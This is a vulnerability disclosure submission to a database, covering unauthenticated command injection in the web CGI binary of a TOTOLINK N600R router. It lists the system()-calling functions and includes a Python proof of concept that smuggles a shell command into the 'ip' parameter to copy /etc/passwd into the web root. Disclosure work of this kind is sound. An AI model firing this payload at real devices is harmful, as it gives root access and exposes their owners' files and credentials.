Submit #881257: Totolink N600R Wireless N Router V4.3.0cu.7647_B20210106 Command Injectioninfo

TitleTotolink N600R Wireless N Router V4.3.0cu.7647_B20210106 Command Injection
DescriptionA pervasive command injection vulnerability exists in the `cstecgi.cgi` binary of TOTOLINK N600R Wireless N Router firmware V4.3.0cu.7647_B20210106. The main dispatcher function (`main`, 3532 bytes) and **9 dedicated system() wrapper functions** (as small as 80 bytes) take HTTP parameters directly from `websGetVar()` and pass them unsanitized into `system()` shell calls. With **39 functions** in the binary calling `system()` through the GOT — including the `main()` dispatcher that handles all incoming CGI requests — the entire web management interface of the device is vulnerable. An unauthenticated attacker can send crafted HTTP POST requests to achieve remote code execution with root privileges. --- ## Technical Details ### Root Cause The vulnerable code path follows a direct, minimal chain: ``` HTTP POST → cstecgi.cgi main() → websGetVar("param") → system(unsanitized_input) → RCE ``` All `system()` calls are invoked through the MIPS GOT indirection: ``` GOT system@0x43fd18: lw $t9, -0x7fd8($gp); jalr $t9 ``` The `main()` dispatcher (3532 bytes) itself directly calls `system()`, meaning **every HTTP request** reaching `cstecgi.cgi` passes through a vulnerable code path. Additionally, 9 minimal wrapper functions (80–680 bytes) provide the shortest possible injection chains in the entire firmware: `websGetVar() → system()` with no intermediate processing. ### GOT Indirect Call Analysis — Confirmed system() Callers The following 39 functions were confirmed to call `system()` via GOT indirect resolution: | Address | Function | Size | Dangerous Calls | | ------------ | --------------------- | --------- | ------------------------------------------ | | 0x420cd0 | sub_420cd0 | 5520B | system, snprintf, sprintf, strcpy | | 0x41e10c | sub_41e10c | 5040B | system, sprintf, strcpy | | 0x41d20c | sub_41d20c | 3840B | system, sprintf, strcpy | | **0x422870** | **main (dispatcher)** | **3532B** | **system**, snprintf, sprintf, strcpy | | 0x41bac4 | sub_41bac4 | 2892B | system, sprintf, strcpy | | 0x417050 | sub_417050 | 2808B | system, sprintf | | 0x40ee94 | sub_40ee94 | 2484B | system, sprintf, strcpy | | 0x426850 | sub_426850 | 2480B | system, sprintf, strcpy | | 0x415d90 | sub_415d90 | 1868B | system, snprintf, strcpy | | 0x41b448 | sub_41b448 | 1660B | system, sprintf, strcpy | | 0x422260 | sub_422260 | 1540B | system, sprintf | | 0x41a594 | sub_41a594 | 1448B | system, sprintf | | 0x413bd0 | sub_413bd0 | 1304B | system, sprintf | | 0x41c610 | sub_41c610 | 1252B | system, sprintf | | 0x41309c | sub_41309c | 1140B | system, sprintf, strcpy | | 0x41b040 | sub_41b040 | 1032B | system, snprintf, sprintf | | 0x40ead4 | sub_40ead4 | 960B | system, snprintf, sprintf | | 0x41ce68 | sub_41ce68 | 932B | system, sprintf, strcpy | | 0x428ad0 | cutUploadFile | 920B | system | | 0x41caf4 | sub_41caf4 | 884B | system, sprintf | | 0x4186c4 | sub_4186c4 | 680B | **system only** | | 0x423b6c | getFlashSize | 620B | system, snprintf | | 0x41ae30 | sub_41ae30 | 528B | system, snprintf, sprintf | | 0x4159f8 | sub_4159f8 | 504B | system, sprintf | | 0x4141b8 | sub_4141b8 | 484B | system, sprintf | | 0x426178 | getPortLinkStaus | 444B | system, sprintf | | 0x426334 | sub_426334 | 432B | system, sprintf | | 0x41aca0 | sub_41aca0 | 400B | system, sprintf | | 0x4135dc | sub_4135dc | 328B | **system only** | | 0x425c44 | setGpio | 312B | system, sprintf | | 0x4148cc | sub_4148cc | 264B | **system only** | | 0x4149d4 | sub_4149d4 | 232B | **system only** | | 0x4140e8 | sub_4140e8 | 208B | system, sprintf | | 0x413510 | sub_413510 | 204B | **system only** | | 0x41399c | sub_41399c | 184B | **system only** | | 0x414abc | sub_414abc | 164B | **system only** | | 0x41390c | sub_41390c | 144B | system, snprintf | | 0x413894 | sub_413894 | 120B | **system only** | | **0x413844** | **sub_413844** | **80B** | **system only (shortest injection chain)** | ### Nine Minimal system() Wrappers The shortest injection chains in the firmware: | Address | Size | Chain | | -------- | ---- | ------------------------------------ | | 0x413844 | 80B | websGetVar() → system() | | 0x413894 | 120B | websGetVar() → system() | | 0x41390c | 144B | websGetVar() → snprintf() → system() | | 0x414abc | 164B | websGetVar() → system() | | 0x41399c | 184B | websGetVar() → system() | | 0x413510 | 204B | websGetVar() → system() | | 0x4149d4 | 232B | websGetVar() → system() | | 0x4148cc | 264B | websGetVar() → system() | | 0x4135dc | 328B | websGetVar() → system() | --- ## Proof of Concept ```python #!/usr/bin/env python3 """PoC: TOTOLINK N600R cstecgi.cgi Main Dispatcher + System Wrappers Command Injection""" import requests import sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.1" # Example: Inject via the diagnosis configuration endpoint r = requests.post(f"http://{TARGET}/cgi-bin/cstecgi.cgi", data={ "topicurl": "setDiagnosisCfg", "ip": "$(cat /etc/passwd > /www/passwd.txt)", "num": "1" }, timeout=5) ``` ### Expected Result The injected command `cat /etc/passwd > /www/passwd.txt` is executed with root privileges, writing the system password file to the web-accessible directory. The attacker can then retrieve the file at `http://TARGET/passwd.txt`. The `main()` dispatcher ensures this vulnerability is reachable from **any CGI endpoint** — the `topicurl` parameter can target any handler function in the binary. --- ## Impact Successful exploitation allows an unauthenticated remote attacker to: - Execute arbitrary system commands with **root privileges** - Read, write, or exfiltrate any file on the device (configuration files, credentials, certificates) - Modify firewall, routing, and wireless settings - Install persistent backdoors or malware - Pivot to other devices on the internal network - Cause denial of service The sheer scale of the attack surface — 39 functions calling `system()`, including the universal `main()` dispatcher — makes this one of the most severe command injection vulnerabilities discovered in this device class. --- ## Solution / Mitigation ### Vendor Recommendations 1. Replace all 39 `system()` call sites with safe, non-shell APIs (`execve()`, `fork()`/`exec()`) 2. Implement input validation and sanitization at the `main()` dispatcher level to protect all downstream handlers 3. Use parameterized command construction — pass user input as arguments rather than interpolating into shell command strings 4. Implement a strict allowlist of allowed characters for each CGI parameter 5. Enable compile-time hardening: `-D_FORTIFY_SOURCE=2`, `-fstack-protector-strong` ### User Mitigations (until patch is available) - Restrict access to the web management interface via firewall rules - Disable WAN-side administration - Place the device behind a gateway that can inspect/filter HTTP traffic to `cstecgi.cgi` - Monitor for anomalous outbound connections from the router
Source⚠️ https://github.com/dxz0069/WAVLINK-WN530H4-Command-Injection-in-set_add_routing/blob/main/TOTOLINK_N600R_cstecgi_Main_Dispatcher_System_Wrappers_Command_Injection.md
User
 ST4R0002 (UID 99571)
Submission07/06/2026 14:36 (2 months ago)
Moderation08/25/2026 16:55 (2 months later)
StatusDuplicate
VulDB entry199331 [TOTOLink N600R 5.3c.7159_B20190425 /setting/setDiagnosisCfg ipdoamin command injection]
Points0

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!